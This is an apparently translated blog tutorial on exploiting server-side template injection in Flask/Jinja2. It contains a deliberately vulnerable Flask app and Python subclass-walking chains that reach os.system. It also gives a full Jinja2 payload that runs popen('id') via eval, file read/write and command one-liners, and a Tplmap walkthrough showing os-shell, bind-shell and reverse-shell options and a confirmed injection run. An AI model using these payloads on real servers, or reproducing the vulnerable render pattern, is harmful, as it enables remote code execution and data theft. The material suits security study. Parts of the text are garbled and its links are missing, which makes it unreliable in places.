SSTI server template injection vulnerability

SSTI server template injection vulnerability


The server side template injection is because the server side receives the user's input as part of the Web application template content, and executes the malicious content inserted by the user during the target compilation and rendering process, resulting in sensitive information disclosure, code execution, GetShell and other problems.

The scope of influence mainly depends on the complexity of the template engine.

template engine

The template engine (specifically referred to here as the template engine for Web Development) is generated to separate the user interface from business data (content). It can generate documents in specific formats, and the template engine for web sites will generate a standard HTML Documentation.


Flask(Jinja2) server side template injection

Jinja2 is a fully functional template engine for Python. It has full unicode support and an optional integrated sandbox execution environment. It has been widely used and licensed by BSD. Jinja2 is used by Python Web frameworks such as Django or Flask.

Jinja official website:

Experimental test:

Code of flask ssti vulnerability:
from flask import Flask, request

from jinja2 import Template


app = Flask(__name__)



def index():

name = request.args.get('name', 'guest')


t = Template("Hello " + name)

return t.render()


if __name__ == "__main__":


Incoming parameter:? name={{6*7}}, the following results can be obtained, indicating the existence of SSTI vulnerability.

The import os module is required to execute system commands in python.

To directly call the built-in module os in the template, you need to register it in the template environment

You need to add a sentence to the above code:

t.globals['os'] = os

If this sentence is not added, an error will be reported if the method in the os is used directly.

Then, how to call the popen() function in the template to execute system commands without registering the os module? This uses various underline functions.

>>> [].__class__

<type 'list'>

>>> [].__class__.__base__

<type 'object'>

>>> [].__class__.__base__.__subclasses__()

Class: used to view the class to which the variable belongs. The class to which the variable belongs can be obtained according to the previous variable form.

bases: used to view the base class of a class, or use an array index to view the value at a specific location

subclasses(): view the subclasses of the current class. Directly use object subclasses(), you will get the same result as.

Thus, many other modules can be accessed, and so can the os module.

To access the os module, you need to access it from warnings catch_warnings module. Take a look at catch_ Where are warnings.

>>> import warnings

>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)

When we get the location, we use func_global see what global functions are available in this module

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()

Here you can see the linecache. Here is the os module we want to access. Look at the various properties of this module:

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__

Next, you can use the os module.

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].system('id')

The POC to get the eval function and execute any python code is as follows:

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

{% for b in c.__init__.__globals__.values() %}

{% if b.__class__ == {}.__class__ %}

{% if 'eval' in b.keys() %}

{{ b['eval']('__import__("os").popen("id").read()') }}

{% endif %}

{% endif %}

{% endfor %}

{% endif %}

{% endfor %}

Visit the following links:

Get execution results:

View /etc/passwd

xss: the value of the name parameter is directly obtained through the get request without any processing. It can be directly injected into xss code.

Common commands for file read / write / command execution in Python

//Get basic classes






//Read file



//Write file

().__class__.__bases__[0].__subclasses__()[40]('C:\\windows\\temp\\test.txt', 'w').write('2333')

object.__subclasses__()[40]('C:\\windows\\temp\\test.txt', 'w').write('2333')

//Execute any command

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("dir").read()' )

object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ipconfig").read()' )

SSTI test tool – Tplmap


Help information
C:\Users\hu1ge\Desktop\tplmap>cmd /k python2 -h

Usage: python [options]



-h, --help Show help and exit.



These options have to be provided, to define the target URL.


-u URL, --url=URL Target URL.

-X REQUEST, --re.. Force usage of given HTTP method (e.g. PUT).



These options have how to connect and where to inject to the target



-d DATA, --data=.. Data string to be sent through POST. It must be as

query string: param1=value1&param2=value2.

-H HEADERS, --he.. Extra headers (e.g. 'Header1: Value1'). Use multiple

times to add new headers.

-c COOKIES, --co.. Cookies (e.g. 'Field1=Value1'). Use multiple times to

add new cookies.

-A USER_AGENT, -.. HTTP User-Agent header value.

--proxy=PROXY Use a proxy to connect to the target URL



These options can be used to customize the detection phase.


--level=LEVEL Level of code context escape to perform (1-5, Default:


-e ENGINE, --eng.. Force back-end template engine to this value.

-t TECHNIQUE, --.. Techniques R(endered) T(ime-based blind). Default: RT.


Operating system access:

These options can be used to access the underlying operating system.


--os-cmd=OS_CMD Execute an operating system command.

--os-shell Prompt for an interactive operating system shell.

--upload=UPLOAD Upload LOCAL to REMOTE files.

--force-overwrite Force file overwrite when uploading.

--download=DOWNL.. Download REMOTE to LOCAL files.

--bind-shell=BIN.. Spawn a system shell on a TCP PORT of the target and

connect to it.

--reverse-shell=.. Run a system shell and back-connect to local HOST



Template inspection:

These options can be used to inspect the template engine.


--tpl-shell Prompt for an interactive shell on the template


--tpl-code=TPL_C.. Inject code in the template engine.



These options can be used to set some general working parameters.


--force-level=FO.. Force a LEVEL and CLEVEL to test.

--injection-tag=.. Use string as injection tag (default '*').




./tplmap -u '*'
Template injection test
C:\Users\hu1ge\Desktop\tplmap>python2 -u ""

[+] Tplmap 0.5

Automatic Server-Side Template Injection Detection and Exploitation Tool


[+] Testing if GET parameter 'name' is injectable

[+] Smarty plugin is testing rendering with tag '*'

[+] Smarty plugin is testing blind injection

[+] Mako plugin is testing rendering with tag '${*}'

[+] Mako plugin is testing blind injection

[+] Python plugin is testing rendering with tag 'str(*)'

[+] Python plugin is testing blind injection

[+] Tornado plugin is testing rendering with tag '{{*}}'

[+] Tornado plugin is testing blind injection

[+] Jinja2 plugin is testing rendering with tag '{{*}}'

[+] Jinja2 plugin has confirmed injection with tag '{{*}}'

[+] Tplmap identified the following injection point:


GET parameter: name   //Injection parameter: name

Engine: Jinja2    //Template engine used

Injection: {{*}}    //Injection method

Context: text

OS: posix-linux

Technique: render



Shell command execution: ok   //Verify the utilization methods available in the current environment

Bind and reverse shell: ok

File write: ok

File read: ok

Code evaluation: ok, python code


[+] Rerun tplmap providing one of the following options:


--os-shell   Run on target shell

--os-cmd   implement shell command

--bind-shell PORT   Connected to the target port shell binding

--reverse-shell HOST PORT   take shell Send back to attacker's port

--upload LOCAL REMOTE   Upload file to server

--download REMOTE LOCAL   Downloading remote files
--OS CMD execute command
C:\Users\hu1ge\Desktop\tplmap>python2 -u "" --os-cmd whoami

--OS shell get interactive shell environment directly

C:\Users\hu1ge\Desktop\tplmap>python2 -u "" --os-shell

Reference link:

Posted by chick3n on Tue, 31 May 2022 19:51:42 +0530